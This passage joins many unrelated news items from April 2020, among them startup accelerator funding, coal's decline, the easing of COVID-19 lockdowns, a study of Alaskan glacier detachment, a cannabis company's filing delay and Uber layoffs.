Southeast Asia and India to participate in its third acceleration program, Surge 03. Three of the 15 are Indonesia-based early-stage start-ups, namely a bookkeeping application for small and medium enterprises (SMEs) BukuKas, edtech platform CoLearn and cloud kitchen service Hangry. Meanwhile, the other start-ups are from India, Singapore and Vietnam, with businesses in the software as a service (SaaS) sector as well as development tools, education, health and food and beverages. Surge and Sequoia Capital India managing director Rajan Anandan said in a written statement on Monday that the capital firm had been working with start-ups from Indonesia, Singapore and Vietnam in two of its previous cohort programs. The start-ups ecosystem in Southeast Asia is growing rapidly along with the development of its digital and mobile first economy, he said. We believe its important to support these founders both in their success and during these difficult times. Sequoia reported it had received increasing applications from Southeast Asian start-ups, especially in the business-to-business sector, consumer technology and financial services. The Surge 03 cohort program started on April 13 and will roll out for 16 weeks with capacity-building activities in recruitment and marketing, among other fields, from global founder and investors. Each participant is also going to receive between US$1 million and $2 million funding in the first round of the program to kick-start their companies. "The Surge program has been designed as an 'open architecture' and we invite other investors to join the first Surge round at the start of the program, the statement reads. Through the Surge, 80 percent of the participating start-ups received funding from institutional co-investors and almost half of the start-ups also have angel investors. The Surge 03 program has booked more than $39 million in total funding. Start-ups that had finished the previous round of the Surge program collectively raised more than $250 million from their next rounds of funding from more than 35 institutional investors. The start-ups included Bobobox and Chilibeli from Indonesia, Zenyum from Singapore and Telio from Vietnam. Established in March 2019, Surge has become a community with more than 110 founders and 52 start-ups from across six countries. The Surge 04 cohort program, which will start in September, is now open for registration. You can add coal to the list of global commodities struggling during the pandemic. Prices havent yet turned negative (like oil), but coronavirus is accelerating the demise of the dirtiest fossil fuel. Social distancing measures mean energy demand has fallen across the board. Some of the smallest declines, however, are in the electricity sector. That should have been good news for coal. But it hasnt turned out that way. In much of the world coal power is currently more expensive than gas and renewables, which explains why its share in the electricity mix has fallen in Europe, India, China, and parts of the U.S. The power markets in these four regions are large and varied. That makes the uniformity of coals decline even more surprising. But perhaps it shouldnt be. Policymakers and activists have spent years trying to reveal the true costs of coals environmental impacts, with the aim of making the fuel economically less attractive. Nearly half the worlds coal power plants are now running at a loss, according to the think tank Carbon Tracker. Europe is a prime example of how to manage coals exit systematically. In the past two weeks, Austria and Sweden announced that they have shut their last coal-fired power plants. Theyve now joined Albania, Belgium, Estonia, Latvia, Lithuania and Norway as countries without coal in their electricity mix. Today, the U.K.s grid operator posted a new recordnearly 19 continuous daysof not using coal for electricity. Kathrin Gutmann, campaign director for Europe Beyond Coal, walked me through the lessons Europe can teach the world. At a federal level, three policies have proven to be most effective: pollution regulation on power plants to lower emissions of sulfur, nitrogen oxides and particulate matter (coal produces more of all these than gas); a tax or price on carbon dioxide emissions (coal emits double the carbon per unit of energy compared to gas); and mandates to increase the share of renewables in the electricity mix. But thats not enough. Difficulties at the local level also need to be addressed. Unlike solar and wind, coal power can be turned on and off when needed. That means grid operators need to figure out alternatives for when the use of coal endsbe it converting the power plants to using gas, installing batteries, or finding ways of importing clean electricity from other regions whenever needed. The local challenges are bigger for countries and regions that mine coal and provide well-paying jobs for thousands of people. The end has to come with a plan to transition coal-dependent livelihoods. For instance, Germany is looking at a package worth $55 billion as compensation for regions and companies that rely on coal. Similarly, the European Union is working on a just transition fund that could invest as much as $111 billion in even more coal-reliant countries like Poland. Two further policies are needed to ensure that coals demise doesnt just happen but comes fast enough. First, deadlines to phase out coal need to based on climate science. France, Sweden, Slovakia, Portugal, U.K., Ireland and Italy plan on exiting coal by 2025, which is in line with the science. Not everyone is getting it right. Germany plans to exit coal by 2038, which is too late for meeting Paris climate agreement goals, said Gutmann. Even 2030, the phase-out date of choice for the Netherlands, is likely the latest possible date for a European country if global warming is to be kept under 1.5 degrees Celsius. Second, setting those deadlines in stone through some form of legislation goes a long way to ensure that short-term political thinking doesnt get in the way. The U.K. and France have been praised for setting regulation goals tied to emissions efficiency, which leaves coal power with few loopholes. If nothing else works, be prepared to get sued. Environmental group Urgenda won a case against the Dutch government, forcing the country to cut its 2020 emissions by 25% compared to 1990 levels. On Friday, the government announced it will curtail coal power plants to meet those goals. After years of tinkering, there are now many strategies to end the dominance of coal for good. The job has become easier because technological forces have made alternatives cheaper. Coals end is inevitable, and it may happen sooner than many think. Akshat Rathi writes the Net Zero newsletter on the intersection of climate science and emission-free tech. You can email him with feedback. France and Spain were on Tuesday set to announce plans to lift strict coronavirus lockdowns that have endured for weeks, while on the other side of world surfers returned to Bondi Beach as Australia took its own first steps to ease restrictions. Countries are beginning to chart their path out of shutdowns imposed to stem the spread of the deadly disease, which emerged in China late last year and has now infected more than three million people worldwide. At least 209,000 people have died from COVID-19 -- a quarter of them in the US, the worst-hit country followed by Italy, Spain, France and the UK. As some death rates slow, governments are exploring how to relax stay-at-home orders that are exacting their own damaging economic and psychological tolls, without sparking a dangerous second wave of contagion. Hundreds of eager surfers and swimmers rushed into the waves at Bondi Beach in Sydney, five weeks after police closed the area because of large crowds ignoring social distancing rules. The three-million figure for confirmed coronavirus cases probably reflects only a fraction of the actual number of infections, as many countries are testing only the most serious cases. By Juan COROMINAS, Juan COROMINAS (AFP) "I've been excited for like a week, I was like: 7:30 right here," Diane Delaurens told AFP, dripping after his early-morning surf session. The sand remained largely empty, as people are still banned from sunbathing. With a handful of US states taking steps to revive their shuttered economies, schools and shops in some parts of Europe have opened up. From next week, Italians will be able to exercise outdoors and visit relatives -- but only if they wear masks and refrain from hugs and handshakes. Spain has already begun easing its tight lockdown and was set to announce more detailed plans on Tuesday, as was France, which has said it will begin to ease confinement on May 11. Recession fears However, the world's economic outlook remains bleak. Forecasts warn of the worst global recession in a century, with oil prices tumbling and the travel and tourism sector badly hammered. US President Donald Trump again took aim at China's handling of the crisis, suggesting the United States may seek damages over the devastating pandemic. US President Donald Trump said the devastating pandemic could have been "stopped at the source" by China, suggesting the United States may seek damages. By MANDEL NGAN (AFP) "We are not happy with China... we believe it could have been stopped at the source. It could have been stopped quickly and it wouldn't have spread all over the world," he said. When asked about a German newspaper editorial that called on China to pay Germany $165 billion in reparations for economic damage done by the virus, Trump said the US could take its own action to hold China accountable. "We are talking about a lot more money than Germany's talking about," he said. "We haven't determined the final amount yet. It's very substantial." 'Human contact' For parts of the US, the lockdown has begun to ease -- despite criticism from health experts, but much to the delight of some citizens. "We need human touch, human contact," said 64-year-old Kim Kaseta, as she tucked into breakfast in the US state of Georgia. Most US states do not yet have sufficient COVID-19 testing to consider relaxing stay-at-home orders, according to an analysis by Harvard researchers and the health news site Stat. Trump said on Monday that testing was being rapidly expanded and that he expected to see a "lot" of schools open up, even if there is not much time left in the school year. Despite other European countries moving towards reopening schools and shops, British Prime Minister Boris Johnson said it was too early for the UK to follow suit. Johnson, who has emerged from his own battle with the virus, said Monday he could not "throw away all the effort and the sacrifice of the British people and to risk a second major outbreak." New Zealanders indulged in fast food and coffee-shop treats for the first time in five weeks as the country eased its strict lockdown that banned any form of takeaway. By Marty MELVILLE (AFP) His comments stood in contrast to those made by New Zealand's Prime Minister Jacinda Arden, who said the nation had won the battle against "widespread, undetected community transmission". New Zealanders indulged in fast food and coffeeshop treats for the first time in five weeks on Tuesday as the country eased its strict lockdown that banned any form of takeaway. "We see the difference in other countries and I don't envy them, that's for sure," said Wellington resident Cheryl Robertson, who planned to celebrate with a curry. No one knows when the virus crisis will end as scientists race to develop treatments and, eventually, a vaccine. In a sign of the global uncertainty, the president of the organising committee for the postponed Tokyo 2020 Olympics said the event will have to be cancelled if the pandemic isn't brought under control by next year. burs-kaf/hg Boulder, Colo., USA: On the evening of 5 August 2013, a startling event occurred deep in the remote interior of the United States' largest national park. A half-kilometer-long tongue of Alaska's Flat Creek glacier suddenly broke off, unleashing a torrent of ice and rock that rushed 11 kilometers down a rugged mountain valley into the wilderness encompassed by Wrangell-St. Elias National Park and Preserve. After National Park Service geologist Michael Loso documented a similar event in the same location in 2015, he recruited Mylene Jacquemart, a Ph.D. student at the University of Colorado Boulder, to investigate. "We were aware of glacier detachments that had happened in Tibet, Russia, and Argentina, but started out thinking we were investigating a regular landslide," says Jacquemart. "Then we noticed that the entire glacier was missing." The results, published in Geology, indicate the Alaskan detachments occurred at the height of the summer melt seasons and suggest these highly destructive events could occur more frequently in a warming world. After National Park Service geologist Michael Loso conducted preliminary research that ruled out a seismic trigger for these events, he, Jacquemart, and other experts began a research project to investigate what had happened at Flat Creek. The team used a variety of tools, including satellite imagery, field measurements, digital elevation models, and meltwater modeling, to piece together the sequence of events. "This project was a real sleuthing challenge," says Jacquemart, "and the pieces finally fell into place when we discovered the bulge on the Flat Creek glacier." Although the researchers were aware that an odd ice bulge existed on the glacier's tongue prior to the first detachment in 2013, it wasn't until they obtained 10-year-old, high-resolution satellite images and estimated that the bulge was an impressive 70 meters high that they began to understand its implications. "Our data indicate that the lowermost part of the glacier tongue was very thin, stagnant, and firmly frozen to the glacier bed," Jacquemart says. "We believe this frozen tongue did two things: it blocked ice flowing down from higher on the glacier, forcing it to bulge; and it slowed meltwater drainage, allowing the water to pool under the glacier." The resulting increase in subglacial water pressure, she says, eventually caused the glacier tongue to suddenly detach, resulting in two mass flows so large that they each buried about 3 square kilometers of 400-year-old forest. Glaciers are primarily disappearing as a result of their ice melting at a faster pace, says Jacquemart. "But the new insights we're gaining from places like Flat Creek show that we also need to consider new processes we weren't previously aware of." Ultimately, says Jacquemart, scientists will need to develop a better understanding of these new processes and potentially reevaluate hazard assessments in mountain communities. "Flat Creek is fortunately in a very remote place," says Jacquemart, "but the detachments that occurred in Russia and Tibet claimed numerous lives." Given that the mass flows produced by glacier detachments appear to travel quite far, she says, emergency planners also need to consider possible cascading hazards, such as the temporary damming of a river followed by the water's release. "Suddenly, a remote event can have far-reaching impacts downstream," says Jacquemart. The similarity of the glacier detachments in Alaska with those that occurred in Tibet suggest that all of these events shared a common cause. Other detachments elsewhere in the world have also been recently discovered, says Jacquemart, suggesting that large-scale glacier detachments may be exacerbated by global warming. "We conclude that the meltwater produced by increasingly warmer summers has the potential to create unexpected consequences in the form of hazards that we didn't previously know about", says Jacquemart, "and that we are only just beginning to understand." ### FEATURED ARTICLE What drives large-scale glacier detachments? Insights from Flat Creek glacier, St. Elias Mountains, Alaska Mylene Jacquemart et al., Mylene.Jacquemart@colorado.edu URL: https://pubs.geoscienceworld.org/gsa/geology/article/doi/10.1130/G47211.1/583706/What-drives-large-scale-glacier-detachments Video: https://youtu.be/9Zl1RrehmdA GEOLOGY articles are online at https://geology.geoscienceworld.org/content/early/recent. Representatives of the media may obtain complimentary articles by contacting Kea Giles at the e-mail address above. Please discuss articles of interest with the authors before publishing stories on their work, and please make reference to GEOLOGY in articles published. Non-media requests for articles may be directed to GSA Sales and Service, gsaservice@geosociety.org. https://www.geosociety.org Chandigarh, April 28 : In another trouble for Punjab, at least 12 people, who recently returned after a 1,750-km odyssey from the popular Sikh shrine in Nanded in Maharashtra, have tested coronavirus positive in past two days, officials said on Tuesday. Out of them seven belonged to Tarn Taran district and three of a family from Kapurthala district. A majority of them who were diagnosed positive reached their hometowns on their own without undergoing mandatory medical screening at the inter-state borders. As per official figures, nearly 3,500 pilgrims are still stranded at Takht Sri Hazur Sahib in Nanded due to the nationwide lockdown in wake of COVID-19 for whom the Punjab government has arranged the buses. All will return to Punjab in batches in the next two-three days, a state government official told IANS. The Health Department has decided to quarantine all those who will return from Hazur Sahib. "The certain influx in new cases has posed a big challenge to the state again where the situation has been largely under control after a lot steps to contain the virus," state Health Minister Balbir Singh Sidhu told the media here. He said all those who tested positive and belonged to one village in Tarn Taran had not informed the local authorities about their arrival. "Acting on the complaint of locals, at least 17 people were screened and seven of them diagnosed positive," he said. "Similar is the situation from Kapurthala from where three members of a family, including a child tested positive," Sidhu added. Officials told IANS after the spike in virus cases with the return of non-resident Indians (NRIs) and foreign travellers and the arrival of Tablighi Jamaat members, who were blamed for the virus spread, it is now the pilgrims returning from Takht Sri Hazur Sahib to the state is posing a serious challenge. Most of them do not have any record of their medical screening by the government in Maharashtra. The state government has now issued an ultimatum to all those who returned to the state on their own after remaining stranded at Takht Sri Hazur Sahib to report their whereabouts to the nearest police station or face criminal prosecution. The concealing of such information would lead to a criminal case, an official said. For the pilgrims who are returning to the state in government arranged buses, doctors will screen and test them and advise 14-day strict home quarantine. As many as 467 pilgrims reached Bathinda on Monday evening in government buses from Nanded. Apart from them, 2,800 Punjabi labourers returned home on Tuesday in 61 government buses from Jaisalmer in Rajasthan, where they were stranded in five relief camps. "Each and every one of them is going to be tested and shall be lodged in a government quarantine facility for the next 14 days," Special Chief Secretary K.B.S. Sidhu, who is in-charge to monitor state-wide coronavirus cases, informed in a tweet. -- The story has been published from a wire feed without any modifications to the text Several idol makers of Kumartuli, the artisans' hub in the northern part of the city, said they are staring at huge losses as many Durga puja organisers from abroad have informed them of their decision to call off the festivities this year at the last minute due to COVID-19 pandemic. Coronavirus has struck a deadly blow to the entire artisans' hub with puja organisers from abroad informing their decision to call off the festivities this year at the last minute, several idol makers told PTI on Monday. While bookings for three idols for the US, made at Prodyut Paul's studio at Kumartuli have been cancelled, organisers of two other puja committees of US have asked him to keep the fibreglass images in proper condition hopeful about organising the festival next year, they said. "In total, I had made five fibreglass idols for the US this year. All the five committees informed about not holding the puja this October. But two of them asked me to keep the idols for next year," Prodyut Paul said. "We are desperately hoping that the situation will be better at least in the state after some time, as the pujas are still months away, to partly make up the huge loss. But the idols meant for overseas will remain unsold this year," he said. He said all the idols were to be shipped by this month end. An office-bearer of Kumartuli Idol makers Association said of the around 200 Durga idols, slated to be shipped to US, UAE, Australia, Germany, UK, bookings of not more than five have been confirmed this year. Mintu Pal, another popular clay modeller, said the organisers of a puja in the UK, which had been taking idol from him for past several years, communicated to him very recently that they won't be able to take the idol due to the prevailing situation in the country. "I am staring at a big loss as the idol was almost complete when the lockdown began," he said. Both Prodyut Paul and Mintu Paul said the semi- finished idols made of fibreglass cannot be given to puja committees in the city as they insist on clay images. Nabin Pal, another idol maker, has also got order for two idols in UK and Germany - but the organisers informed in the last week of March that they are not organising the festival this time. "They did not cite any reason. But everyone knows how corona has wreaked havoc in the world," Nabin Pal said. The idol makers are now pinning hope that the Durga puja festivities in the city will at least not be dented by the COVID-19 pandemic. "One big-time Durga Puja organiser had given verbal nod to an agreement for a big idol, which is their customary tradition, before the lockdown. They had promised to seal the deal in 15 days. But they have now informed they will wait and watch before ordering the same idol or a much smaller one," Prodyut Paul said. Another local organiser said they will see how the situation unfolds before deciding on holding the puja or not, he said. "In our estimate, around 15 per cent puja committees have confirmed their bookings at Kumartuli till now this year, which would have been over 50 per cent in normal times," the idol maker association office-bearer said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mexican officials say they believe the economic damage to Pemex and the government can be contained. In normal times, Pemex produces at least 15 percent of the governments annual revenue. Authorities say they have shielded those tax payments through a complex hedging operation that will allow them to sell some Mexican oil at $49 a barrel rather the $8.50 it fetched last week. And Lopez Obrador says Mexico will ride out the price decline by turning more of its oil into gasoline in domestic refineries. Sassanid Inscription Unearthed In Ancient Iran Necropolis Being Deciphered 03/29/20 Source: Radio Farda Experts are working to decipher a newly discovered inscription unearthed in an ancient necropolis near Persepolis, an official of the Cultural Heritage Organization of Iran, said on Monday. The inscription which dates from the Sassanian period (224-651 AD) was found in Naqsh-e Rostam and is written in Pahlavi language (also known as Middle Persian) which was the official language of the Sassanian Empire. Tomb of Darius the Great in Naqsh-e Rustam an ancient necropolis located about 12 km northwest of Persepolis, in Fars Province, Iran. Naqsh-e Rostam, the site where the inscription was found, was a necropolis and religious center about 12 km northwest of Persepolis, the ceremonial capital of the Achaemenid Empire (550-300 BC). However, some of the relics on the cliffs may date as far back as the Pre-Iranian Elamite Period (2700-539 BC). Four huge tombs from the Achaemenid period, including the tomb of King Darius the Great (550-486 CE) hewn into the cliff face and a square-shaped building made with stone blocks from the Sassanian which may also have had a significance in burial rites are among the most important relics of the necropolis. Several inscriptions and reliefs of Sassanian kings including a rock relief showing the Sassanian king Shapur I on horseback, with the Roman Emperor Valerian bowing to him in submission, are among the other significant surviving relics of Naqsh-e Rostam. Despite the huge importance of the ancient necropolis, unlike Persepolis and Pasargadae, the capital of the Achaemenid Empire under Cyrus the Great (559-530 BC), Iran has not been able to list it as a UNESCO Heritage Site due to the failure to meet the requirements of UNESCO as to measures taken for the preservation of the site and documentation. Officials say the inscription is being deciphered. But reading Pahlavi texts is no easy task. An Aramaic-derived alphabet was used for writing in Pahlavi. The script is very difficult to read due to the use of heterograms. The heterograms were words written in Aramaic but read as their Middle Persian equivalent. It is similar to writing eg in English and reading it "for example". In addition to the use of heterograms, the variations of the alphabet between the ordinary script used on parchment and the version used in inscriptions make reading Pahlavi inscriptions which are often badly damaged by exposure to the elements even more complex. In the past couple of decades, the decline of groundwater tables which has resulted in sinking ground has seriously damaged the relics in Naqsh-e Rostam or put them in danger of further deterioration. Critics of the Islamic Republic say the government does not put enough effort into the preservation of pre-Islamic relics. YEREVAN. The MPs of Bright Armenia are not going to give up their powers to the government of the republic, even for some time, and especially in the current situation. Edmon Marukyan, chairman of the opposition Bright Armenia party and head of the Bright Armenia faction in parliament, said this during Tuesdays National Assembly special sitting to debate on the bill on making amendments and additions to the law on the state budget for 2020. At the session, Minister of Finance Atom Janjughazyan assured that this year he will no longer petition to the parliament for making changes in the state budget, and this raised a number of questions for Marukyan. According to the parliamentarian, thus, the government, in fact, wants to free itself from parliamentary oversight in terms of planning the state budget and, if necessary, getting additional loans from international donors. The MP expressed a conviction that the authorities have chosen the wrong strategy to assist the countrys businesses and the population. He noted that the government has managed to raise some funds, and 100 billion drams would be enough to provide real support to businesses and the population. "We have that money," Edmon Marukyan said. "In many countries, the authorities have allocated money 5-16% of GDP; at us, that indicator is 0%. Give that money to the people! Last year we received $600 million from Russia alone. A positive result was managed to be achieved thanks to the work of the people." CALGARY, April 27, 2020 /PRNewswire/ - Decibel Cannabis Company Inc. (the "Company" or "Decibel") (TSX-V:DB) (OTCQB:DBCCF) announces that it will delay the filing of its audited financial statements and related management's discussion and analysis for the fiscal year ended December 31, 2019 (collectively, the "Annual Filings"). Recent proclamations and guidance from Canadian health authorities, the city of Calgary and the province of Alberta and challenges resulting from the COVID-19 pandemic, have required the Company and its auditors to coordinate the preparation of the Annual Filings remotely. As a result, the completion of audit procedures as well as of the preparation of the Annual Filings as a whole have been delayed. According to Blanket Order 51-517 issued by the Alberta Securities Commission on March 23, 2020 (the "Blanket Order"), during the period from March 23, 2020 to June 1, 2020, a person or company required to make certain filings has an additional 45 days from the otherwise applicable deadline to make such filings. The Company is relying on the Blanket Order for temporary relief from the requirements set out in Part 4 and Part 5 of National Instrument 51-102 Continuous Disclosure Obligations ("NI 51-102"), to file the Annual Filings by the applicable deadlines set forth in NI 51-102. All of the Company's management, directors and other insiders will remain subject to its share trading and black-out policy which reflects the principles set out in section 9 of National Policy 11-207: Failure-to-File Cease Trade Orders and Revocations in Multiple Jurisdictions. Decibel anticipates that it will be able to complete the Annual Filings no later than May 29, 2020. Since the Company announced its latest interim financial report on November 28, 2019, the following material business developments have been previously disclosed by Decibel (collectively the "Disclosed Developments"): (i) on December 6, 2019 a private placement with We Grow BC Ltd. (the "Private Placement"); (ii) on December 19, 2019 the results of its annual shareholder meeting held on December 18,2020, approving amongst other things, the change in management resulting from the Private Placement; (iii) on December 23, 2019 the successful completion of the Private Placement; (iv) on January 2, 2020 the third quarter results of We Grow BC Ltd.; (v) on January 13, 2020 the resignation of its President and a corporate update; (vi) on February 18, 2020 the rebrand from Westleaf Inc. to Decibel Cannabis Company Inc. (the "Rebrand"), corporate and operations update; (vii) on March 2, 2020 the successful completion of the Rebrand; and (viii) on April 14, 2020 a licensing update and business update relating to COVID-19. The Disclosed Developments were disclosed in the Company's public filings, which are available on the Company's website at https://decibelcc.com/news/ and on its SEDAR profile at www.sedar.com. In addition to the Disclosed Developments, based on its unaudited draft financial statements, the Company was in compliance, as at December 31, 2019, with all financial covenants contained in its credit facility (the "Credit Facility") with ATB Financial ("ATB"). Based on draft financial statements for the three months ended March 31, 2020, and out of an abundance of caution, the Company has entered into proactive discussions with ATB to ensure that applicable measures are in place in the event that the Company determines that it was not in compliance with any such covenant for the quarter end. The Company is optimistic that, if necessary, such discussions would be successful and covenant relief would be granted on a temporary basis. There is however, no certainty that any agreement will be reached nor that any covenant relief will be provided. The Company is pleased to announce, one of its retail subsidiaries received its license from the Alberta Gaming, Liquor and Cannabis for its second Prairie Records branded retail store in Alberta. The Store is located at 8623-112 St NW, Edmonton, AB and is anticipated to be open to the public within the first two weeks of May. Finally, the Company also announces today that Taylor Ethans, Chief Financial Officer and Co-Founder, has resigned from his position as Chief Financial Officer of Decibel effective May 4, 2020. "Taylor co-founded Decibel and led from the position of Chief Financial Officer since inception. On behalf of the entire Company, we would like to thank Taylor for his leadership, hard work and commitment to Decibel" said Cody Church, Chairman of the Board of Decibel. "We wish Taylor nothing but continued success in his future endeavors." The Company has appointed Stuart Boucher as interim Chief Financial Officer, effective May 4, 2020, and has initiated a search process to determine and appoint a permanent Chief Financial Officer. Prior to joining Decibel, Mr. Boucher worked in investment banking for BMO Capital Markets in their Global Energy group, focusing on public equity, debt offerings, and M&A advisory, exclusively in the Power & Energy Infrastructure industry. He holds a Bachelor of Commerce, with a major in Finance from the University of Alberta and was the second employee of Decibel, serving most recently as the Company's Director of Corporate Development and Strategy. Mr. Boucher was instrumental in the merger with We Grow BC Ltd. and following the transaction has led the Company through numerous stringent cost-cutting activities and strategies. About Decibel Decibel is uncompromising in the process and craftsmanship needed to deliver the highest quality cannabis products and retail experiences. Decibel has three production houses operating or under development along with its wholly owned retail business, Prairie Records. The Qwest Estate in Creston, BC is a licensed and operating 26,000 square foot cultivation space which produces the widely championed, rare cultivar-focused brands Qwest and Qwest Reserve, which are sold in six provinces across Canada. Thunderchild Cultivation, an 80,000 square foot indoor cultivation facility in Battleford, SK is scheduled to be completed and licensed in 2020. The Plant, Decibel's extraction facility, in Calgary, AB has 15,000 square feet of Health Canada licensed extraction and product development space. This production house will fuel the growth of our brands Qwest, Qwest Reserve, and Blendcraft, into new and innovative product formats like concentrates, vapes, edibles and beyond. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Cautionary Statements This news release contains "forward-looking information" and "forward-looking statements" (collectively, "forward-looking statements") within the meaning of the applicable Canadian securities legislation. All statements, other than statements of historical fact, are forward-looking statements and are based on expectations, estimates and projections as at the date of this news release. Any statement that involves discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions, future events or performance (often but not always using phrases such as "expects", or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans", "budget", "scheduled", "forecasts", "estimates", "believes" or "intends" or variations of such words and phrases or stating that certain actions, events or results "may" or "could", "would", "might" or "will" be taken to occur or be achieved) are not statements of historical fact and may be forward-looking statements. In this news release, forward-looking statements relate to, among other things the Company's timing of the filing of the Annual Filings, the Company's compliance with the financial covenants contained in its credit agreement, the timing of and results of discussions and negotiations with ATB and the certainty of reaching any agreement with ATB, the opening of its recently licensed Prairie Record, the timing, construction and licensing of the Thunderchild Cultivation facility, the Company's ability to grow Qwest, Qwest Reserve and Blendcraft brands into new and innovative product formats and the Company's ability to execute on the foregoing. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to: risks relating to the Company's ability to file the Annual Filings, additional timing, delays, regulatory changes and impacts, capital requirements, construction impacts, displacement requirements and unforeseen requirements resulting from the COVID-19 pandemic, the ability to obtain or maintain licences to retail cannabis products; review of the Company's production facilities by Health Canada and receipt or maintenance of licences (including any amendments thereto) from Health Canada in respect thereof; future legislative and regulatory developments involving cannabis; inability to access sufficient capital from internal and external sources, and/or inability to access sufficient capital on favourable terms; the labour market generally and the ability to access, hire and retain employees; general business, economic, competitive, political and social uncertainties; the satisfaction of conditions precedent under the Company's credit facilities; timing and completion of construction and expansion of the Company's production facilities and retail locations; and the delay or failure to receive board, regulatory or other approvals, including any approvals of the TSXV, as applicable. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on the forward-looking statements and information contained in this news release. Except as required by law, the Company assumes no obligation to update the forward-looking statements of beliefs, opinions, projections, or other factors, should they change, except as required by law. SOURCE Decibel Cannabis Company Inc. Related Links www.decibelcc.com Peter Jones and Duncan Bannatyne, two of the most famous entrepreneurs in the history of BBC series Dragon's Den, have had an awkward exchange on Twitter. The spat came after gym millionaire Bannatyne made a joke about who told Jones he was show's biggest star, suggesting that it was his mother - only for his former co-star on the popular television show to call the joke in 'bad taste' because his mother was no longer alive. Clearly hurt by the gag, Jones, 54, fired back at his long-term acquaintance: 'Sadly my wonderful Mum passed away so your comment is in bad taste Duncan.' Scroll down for video Awkward: Duncan Bannatyne (left) appears to have upset his former Dragon's Den co-star Peter Jones (centre) after he made a joke about the businessman's late mother Although it's unclear if Peter Jones' mother has passed away recently, his former co-star's joke didn't go down well on Twitter Bannatyne, 71, quickly apologised for the remark, saying: 'Sorry Peter, will delete it now' before later adding it had been a 'flippant comment'. The Scottish businessman then retweeted several comments that defended his remark including one by @DavidOReilly3, who wrote 'schoolyard humour....probably an overreaction on Peter's part unless he is recently bereaved.' @SimonDicketts wrote: 'And you meant absolutely no offence by that comment. Which is patently obvious to me, if no-one else. So if offence was taken, it was taken by choice. Publicly.' @oliversmission penned: 'Omg. Please don't crack on with this like @piersmorgan and @Lord_Sugar. I am sure that no harm was intended??? Sorry for your loss Peter.' The exchange with Jones is the latest in a long line of strongly-worded recent tweets by Bannatyne. Last week, he hit out at mega-rich Sir Richard Branson for seeking millions of pounds from the taxpayer. A vocal week on Twitter: Bannatyne criticised Richard Branson for trying to enlist the help of the UK government to save ailing Virgin Atlantic The Dragon's Den star (left with his wife Nigora Whitehorn) said the billionaire Virgin Group boss (right) should instead go to a bank for help during a row with his followers on Twitter Branson has asked for a bailout to save Virgin Atlantic from collapse while Victoria Beckham told 30 employees at her fashion brand they are being put on the Government job retention scheme to pay up to 2,500 of their monthly salary. In a furious Twitter row, Dragon's Den star Bannatyne - who has a net worth of 300million - said the billionaire Virgin Group boss should instead go to a bank for help. And he also hit out at Branson's offer to mortgage Necker Island, his home in the Caribbean, as collateral to help get cash to 'save as many jobs as possible.' It's not clear when Mr Jones' mother died. Another Twitter user, @jane_upson expressed her sympathy, writing: 'So sorry Peter. It doesn't matter who you are, what age you are, whether you are rich or poor, losing your mum is devastating!' The Madras High Court on Tuesday issued notice to the Union government on a PIL seeking removal of the 18 per cent GST on sanitisers and 5 per cent GST on masks in these difficult times due to the COVID-19 pandemic or at least for next few months. A division bench of Justices M Sathyanarayanan and M Nirmal Kumar posted the matter for further hearing to May 18. Petitioner S Stalinraja, an advocate, submitted that certain ingredients are taxable. "...still in these difficult times or at least for next few months if GST not levied on sanitisers and masks it would be a big relief for the people in our country." He stated that 23 per cent of the population in India are under poverty line and not in a position to afford essential goods such as masks and sanitisers. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) No deals were heard during the week, with steel consumption reduced because the Islamic holy month of Ramadan started on April 23, when all business activities slow down because of the traditionally shorter working hours.Offer prices for hot-rolled coil (HRC) from China were heard in the UAE at $380-390 per tonne cfr, but no deals were heard. Several sources in Asia offered... French Prime Minister Edouard Philippe said on Monday that a lockdown imposed in response to the COVID-19 pandemic had saved 62,000 lives in a month, but that keeping the restrictions in place would mean risking economic collapse. Speaking in parliament, he said it was time to explain to the country how the lockdown would gradually be eased. French citizens will have to learn to live with the virus and to protect themselves, he said. Search Keywords: Short link: As people continue to stay home amid the coronavirus pandemic, leadership at Uber is discussing potentially laying off as much as 20% of the company's workforce, according to The Information. The company's chief technology officer, Thuan Pham, has also recently resigned, Uber confirms. The big picture: Though Uber's food delivery business is experiencing a boom as restaurants seek to remain afloat, much of its ride-hailing business has dissipated dipping 6070% in Seattle during the height of the city's outbreak, for example. The company also recently withdrew its financial forecast for the rest of the year, signaling it anticipates its business to be affected for months to come. Per a spokesperson: "As you would expect, the company is looking at every possible scenario to ensure we get to the other side of this crisis in a stronger position than ever." Go deeper: The gig economy's coronavirus test Bengaluru-based real estate developer Avinash Reddy was in talks with a landowner to seal the deal on one of the biggest projects of his life. But once the lockdown kicked in, Reddys much wished-for five-acre villa project near Bengaluru airport vanished into uncertainty. We wanted to fast-track the project as it is near the airport and we saw a lot of potential in it, says Reddy, who has been in the real estate business for 13 years. Now he doesnt know if it will happen at all. In fact, he has dropped all plans to launch projects in the near ... Arkansas is counting on its schools to be open in the fall, Gov. Asa Hutchinson (R) said at an Axios virtual event Tuesday. The big picture: Hutchinson said he expects that his state will have the capacity to manage the virus through contact tracing and other measures if it returns, and that schools may have to close for several days if necessary. Hutchinson closed schools for the rest of the school year in early April. What he's saying: "I don't expect next year if there's somewhat of a resurgence that we'll be closing the same level of businesses that we did this year. ... In terms of our schools, we're going to start. We're going to have full-blown activities," Hutchinson said. UPDATE 6:05 p.m., Tuesday, April 28, 2020 - On Tuesdays Shasta County Board of Supervisors meeting, Shasta Countys Public Health Officer Dr. Karen Ramstrom said the set up for the state testing site begins Wednesday. Ramstrom adds the site would be able to test 132 people a day. It will allow us the opportunity to identify those individuals and to isolate them and to identify contacts so that we can contain the spread, said Ramstrom. The state's Testing Task Force says healthcare workers will be the first group to be tested followed by first responders and other essential workers. Dr. Ramstrom says testing could start as early as Thursday. --- SHASTA COUNTY, Calif. - Shasta County Health Officials announced on Monday, April 27 the county will have a new coronavirus testing site. Health Officials shared Governor Gavin Newsom selected the county to host one of more than 80 statewide testing sites. This site will be set up at Shasta College, northeast of Redding. RELATED: 